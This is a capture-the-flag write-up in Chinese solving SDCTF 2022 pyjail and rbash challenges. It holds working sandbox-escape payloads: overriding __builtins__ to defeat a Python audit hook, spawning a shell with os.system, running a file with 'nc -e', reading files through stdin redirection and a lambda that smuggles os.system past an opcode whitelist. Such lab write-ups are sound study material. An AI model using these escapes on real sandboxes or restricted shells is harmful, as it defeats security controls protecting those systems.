pyjail

第一次学习有关pyjail喝bashjail相关知识。题目参考是sdctf2022

starter

这里看了介绍视频学习。一般的pyjail题目就是给一个python的交互界面,然后源码会给你,但是源码后面一些禁掉的东西可能不会告诉你。然后要读flag。也是第一次学。

chall1

可以看到repl中,事先已经给我们读入了一个flag1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def repl():
global_dict = dict()
global_dict['flag1'] = flag1 # 事先读入了一个
while True:
try:
src = input(PROMPT)
except EOFError:
print() # print newline
break
except KeyboardInterrupt:
print('canceled')
continue
if src == '': # Skip empty lines
continue
try:
code = compile(src, '<string>', 'single')
except SyntaxError as e:
print(e)
continue
try:
exec(code, global_dict)
except Exception as e:
print(e)

但是我们只允许执行白盒里面的参数。

1
2
3
4
5
6
def audit_hook(event, _):
# These are the only necessary events for this Math REPL to work
ALLOWED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if event not in ALLOWED_EVENTS:
# Thou shalt not hack!
raise RuntimeError('Operation not permitted: {}'.format(event))

注意,audit_hook是python3.8中的一种自定义钩子函数。相当于一个sandbox。

使用如下命令添加了一个audit hook

1
sys.addaudithook(audit_hook)

我们的flag1,应该和这个函数关系密切,但是我们无法阅读到源码

1
2
# 注意这里的proprietary并未给用户
flag1 = proprietary.get_flag1()

那么我们一开始应该是想知道这个类有什么特性。使用以下代码

1
2
>>> dir()
['__builtins__', 'flag1']

查看到当前运行空间中的所有类名称。

同样的,我们想看看flag1有什么内容,使用以下命令。

1
2
>>> dir(flag1)
['-flag1-', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

注意到其中有一个-flag1-是很罕见的。能不能执行呢?结论是不行,因为这里的”-“导致参数错误

1
2
>>> flag1.-flag1-
invalid syntax (<string>, line 1)

那么有没有别的办法查看-flag1-的内容呢?这里使用了一个”getattr”的函数。我们来试试。

1
2
>>> getattr(flag1,"-flag1-")   
REDACTED

这里输出了一个READCTED。表示这个输出被编辑过了。注意,这个编辑并不是python自带的,而是出题的人加上的。python本身并不会报这个错

尝试输出一下flag1的其他属性。发现也被patch过,不可输出。但是,如果我们用list的方式,切片输出其内容,会发现可以成功输出。

1
2
3
4
>>> flag1.__dict__
{'-flag1-': REDACTED}
>>> getattr(flag1,"-flag1-")[:]
'flag{flag1}\n'

chall2

这一次中,我们没有flag1这个变量。只能自己想办法把flag2变成类似flag1的变量,或者用其他办法。

在这里,我们针对addaudithook这个属性进行攻击。下面的方法证明,audithook本身并不是安全的沙箱。

注意到,我们在dir中,还有另外一个属性可用。__builtins__

1
2
>>> dir()
['__builtins__', 'flag1']

修改__builtins__,可以修改默认的内置函数的行为。回看源码。我们在audithook中使用了set。因此似乎只要想办法把set patch了即可。这里也是学到了新的方法。由于audithoon应该是每次执行repr之前都会被调用来检查参数,因此这个set也会每次被调用。

1
>>> __builtins__["set"] = lambda x: {'builtins.input', 'builtins.input/result', 'exec', 'compile', 'os.system'}

使用上面的语句,x表示输入参数,后面为返回值。这句话表示当我们调用set时,无论输入什么参数,返回的都是上面的内容。事实上,我们修改为上面内容加上一个os.system()

之后就可以愉快的拿flag了。

1
2
3
4
>>> import os
>>> os.system("sh")
$ ls
flag1.txt flag2.txt jail.py properi proprietary.py __pycache__ test test.c

Rbash Warmup

这里一进去发现能用的命令不多

image-20220509093446353

但是有nc可以用。这里学到一个方法。使用反向shell,并且是用-e的flag来执行文件。

1
2
3
4
5
6
7
rbash-5.0$ nc -lvp 1234 &
[1] 3
rbash-5.0$ listening on [any] 1234 ...
nc 127.0.0.1 1234 -e /flag
127.0.0.1: inverse host lookup failed: Host name lookup failure
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38918
sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}

Rbash Yet Another Calculator

可以看到nc没有了。

image-20220509103919244

这里看到没有nc了,环境还是上一个rbash。但是没有ls,不知道flag的名称。

解法有以下几种

1
2
3
4
5
6
7
8
9
10
rbash-5.0$ echo *
flag-xEpAN7X3tGYjt4Y0p0FD.txt jail.sh
rbash-5.0$ source flag-xEpAN7X3tGYjt4Y0p0FD.txt
rbash: sdctf{red1r3ct1ng_std1n_IS_p3rm1tt3d_1n_rb45h!}: command not found
rbash-5.0$ echo `< flag-xEpAN7X3tGYjt4Y0p0FD.txt`
sdctf{red1r3ct1ng_std1n_IS_p3rm1tt3d_1n_rb45h!}
rbash-5.0$ read < flag-xEpAN7X3tGYjt4Y0p0FD.txt;echo $REPLY
sdctf{red1r3ct1ng_std1n_IS_p3rm1tt3d_1n_rb45h!}
rbash-5.0$ echo "$(<flag-xEpAN7X3tGYjt4Y0p0FD.txt)"
sdctf{red1r3ct1ng_std1n_IS_p3rm1tt3d_1n_rb45h!}

Rbash Negotiation with the warden

这里限制了我们能访问的路径。我们只能添加特定的路径,在特定的路径下创建文件。

1
2
3
4
5
6
7
8
9
10
11
elif opt == 5: # Add a permitted PATH
print("Want more paths to escape? But sorry you are only allowed to take some of our prespecified paths below:")
print_paths(WHITELIST_PATHS)
pathnumstr = input('Select which paths to add (1-{})> '.format(len(WHITELIST_PATHS)))
try:
pathnum = int(pathnumstr)
if not 1 <= pathnum <= len(WHITELIST_PATHS):
raise ValueError
except ValueError:
print('Invalid index: {}'.format(pathnumstr))
continue

而且外边并没有nc

image-20220509115906100

这题有一个很神奇的地方,就是当你删除PATH,把path删除完了之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elif opt == 6: # Deprive myself of a permitted PATH
print("Weird. I have never seen a prisoner who wants to voluntarily give up their own rights. But whatever.")
if not PATH_LIST:
print('You have no paths! Try adding one.')
continue
print_paths(PATH_LIST)
pathnumstr = input('Select which path to remove (1-{})> '.format(len(PATH_LIST)))
try:
pathnum = int(pathnumstr)
if not 1 <= pathnum <= len(PATH_LIST):
raise ValueError
except ValueError:
print('Invalid index: {}'.format(pathnumstr))
continue
del PATH_LIST[pathnum - 1]

删除完了之后,linux会自动把path写成当前的工作目录。这样我们就可以在rbash的目录中写文件了,并且可以改权限。

我们的流程如下。

  1. 删除path,直到为空
  2. 新建一个note,命名为vuln,内容为
1
2
#!/bin/sh
/flag
  1. 修改其权限为777
  2. 在rbash里面执行vuln即可。

image-20220509115633394

Turing-complete safeeval

看到源码中使用了pwntoolspwnlibsafeval。找到官网

主函数如下所示。主要是使用了test_expr检查我们的输入参数。之后调用eval执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def expr(e):
if TURING_COMPLETE:
c = safeeval.test_expr(e, complete_codes)
return eval(c)
else:
return safeeval.expr(e)

try:
print('Turing complete mode:', 'on' if TURING_COMPLETE else 'off')
while True:
e = input('>>> ')
if e == 'exit':
break
try:
print(expr(e))
except Exception as err:
traceback.print_exc(file=sys.stdout)
except EOFError as e:
print()

其中 test_expr,链接为链接

image-20220509110336077

去查看对应的源码发现作用是先把我们的输入编译一下,之后检查里面是否出现了相应的opecode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def test_expr(expr, allowed_codes):
"""test_expr(expr, allowed_codes) -> codeobj
Test that the expression contains only the listed opcodes.
If the expression is valid and contains only allowed codes,
return the compiled code object. Otherwise raise a ValueError
"""
import dis
allowed_codes = [dis.opmap[c] for c in allowed_codes if c in dis.opmap]
try:
c = compile(expr, "", "eval")
except SyntaxError:
raise ValueError("%r is not a valid expression" % expr)
codes = _get_opcodes(c)
for code in codes:
if code not in allowed_codes:
raise ValueError("opcode %s not allowed" % dis.opname[code])
return c

我们只能使用以下表格中opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_const_codes = [
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
]

_expr_codes = _const_codes + [
'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
'BINARY_OR',
]

但是看到源文件中,给我们patch了两个新的函数。

1
2
3
# The above only allows Turing-incomplete evaluation,
# so we decided to add our own ingenious additions:
complete_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']

可以想到用lambda表达式。我们尝试创建一个函数,是可以的

image-20220509112445901

但是却并不能将他赋值。这是哪里出错了呢?

image-20220509112522650

可以直接对上述表达式外部加括号即可。

image-20220509112622269

1
2
>>> (lambda x:exec(os.system("cat flag.txt")))(1)
sdctf{u5ing_l4mbDA5_t0_smUgg1e_m4licious_BYTECODEz}

后面的(1)表示参数,这里参数就是x但是我们没用过,所以随便填一个就可以了。

如何测试一个表达式是否被允许

可以手动看compile后的opcode有哪些

1
2
3
>>> c = compile("[1 + 2, (1,2)]", "", "eval")
>>> _get_opcodes(c)
[100, 100, 103, 83]
文章目录
  1. 1. starter
    1. 1.1. chall1
    2. 1.2. chall2
  2. 2. Rbash Warmup
  3. 3. Rbash Yet Another Calculator
  4. 4. Rbash Negotiation with the warden
  5. 5. Turing-complete safeeval
|